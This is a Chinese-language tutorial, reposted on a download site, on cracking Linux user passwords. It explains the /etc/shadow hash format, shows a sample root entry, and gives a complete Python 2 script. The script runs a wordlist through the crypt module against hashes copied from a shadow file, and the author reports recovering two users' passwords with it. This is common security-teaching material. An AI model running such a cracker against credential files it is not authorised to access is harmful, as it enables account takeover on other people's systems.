纯净、安全、绿色的下载网站

首页|软件分类|下载排行|最新软件|IT学院

当前位置:首页IT学院IT技术

python破解linux密码 Python脚本激活Linux密码的方法(crypt模块)

谢公子   2021-05-25 我要评论
想了解Python脚本激活Linux密码的方法(crypt模块)的相关内容吗谢公子在本文为您仔细讲解python破解linux密码的相关知识和一些Code实例欢迎阅读和指正我们先划重点:python破解linux密码,python,crypt模块下面大家一起来学习吧

环境 Kali Linux python版本2.7.13 

我们利用Linux系统中的 crypt 模块模拟了Linux系统中用户密码的加密在Windows中是不存在这个库的

在Linux系统中用户的密码被加密存储在了 /etc/shadow 文件中

如下是 /etc/shadow中root用户的字段

root:$6$ql1UU7ZPwONL9NzX$/bz0GQ8.Ne.zqpF.L5rqPok.Zep0ypRU1X8v.Omrqnv1k6hVDzqTS1Vezencaxltk52X94eZMT/teVHI1Jwf6.:17767:0:99999:7:::

第二个字段是密码部分的我们把它单独拿出来

$6$ql1UU7ZPwONL9NzX$/bz0GQ8.Ne.zqpF.L5rqPok.Zep0ypRU1X8v.Omrqnv1k6hVDzqTS1Vezencaxltk52X94eZMT/teVHI1Jwf6.

密码部分的格式为:$id$salt$encrypted  

  • id是指用的哈希算法id为1是MD5id为5是SHA-256id为6是SHA-512
  • salt 为盐值
  • encrypted 为hash值这里的hash值是密码和盐值一起加密之后得到的

在了解了shadow 文件中密码的加密方式之后我们就可以开始编写python脚本了

在编写之前我们需要准备好密码字典文件 key.txt 只有当密码字典足够大时才有可能破解出密码

然后我们将 /etc/shadow 文件复制到python脚本所在目录修改文件名为 shadow.txt

在编写时我们创建两个函数:main() 和 testPass() main() 函数打开 shadow.txt 文件中的内容读取其中的用户名字段和密码字段cryptPasstestPass() 函数将密码字段中的 $id$salt 提取出来赋值给 salt 然后读取 key.txt 中的密码字段赋值给 word 再利用Linux系统中python的一个crypt库将word和salt一起作为参数传进去进行加密得到 cryptWord 最后将cryptWord和cryptPass进行对比如果相等则这个word就是该用户的密码否则不是

# -*- coding: utf-8 -*-
"""
Created on Mon Oct 29 15:01:54 2018
@author: 小谢
"""
import crypt   ##导入Linux口令加密库
def testPass(cryptPass):
    salt=cryptPass[cryptPass.find("$"):cryptPass.rfind("$")]  ##获得盐值包含$id部分
    dictFile=open('key.txt','r')
    for word in dictFile.readlines():
        word=word.strip("\n")
        cryptWord=crypt.crypt(word,salt)                   ##将密码字典中的值和盐值一起加密
        if (cryptWord==cryptPass):                           ##判断加密后的数据和密码字段是否相等
            print "[+]Found Password:"+word+"\n"       ##如果相等则打印出来
            return 
    print "[-] Password Not Found.\n"
    return 
 
def main():
    passFile=open('shadow.txt')
    for line in passFile.readlines():      ##读取文件中的所有内容
        if ":" in line:
            user=line.split(":")[0]                     ##获得用户名
            cryptPass=line.split(":")[1].strip(' ')   ##获得密码字段
            print "[*] Cracking Password for:"+user
            testPass(cryptPass)
main()

脚本运行截图破解出了用户tom和用户xie的密码 


相关文章

猜您喜欢

  • Android画圆效果 Android圆形控件实现画圆效果

    想了解Android圆形控件实现画圆效果的相关内容吗皮皮嘟在本文为您仔细讲解Android画圆效果的相关知识和一些Code实例欢迎阅读和指正我们先划重点:Android,圆形控件,画圆下面大家一起来学习吧..
  • python3 requests库导入 关于python3安装pip及requests库的导入问题

    想了解关于python3安装pip及requests库的导入问题的相关内容吗stalin_在本文为您仔细讲解python3 requests库导入的相关知识和一些Code实例欢迎阅读和指正我们先划重点:python3,requests库导入,python3,安装pip下面大家一起来学习吧..

网友评论

Copyright 2020 www.fresh-weather.com 【世纪下载站】 版权所有 软件发布

声明:所有软件和文章来自软件开发商或者作者 如有异议 请与本站联系 点此查看联系方式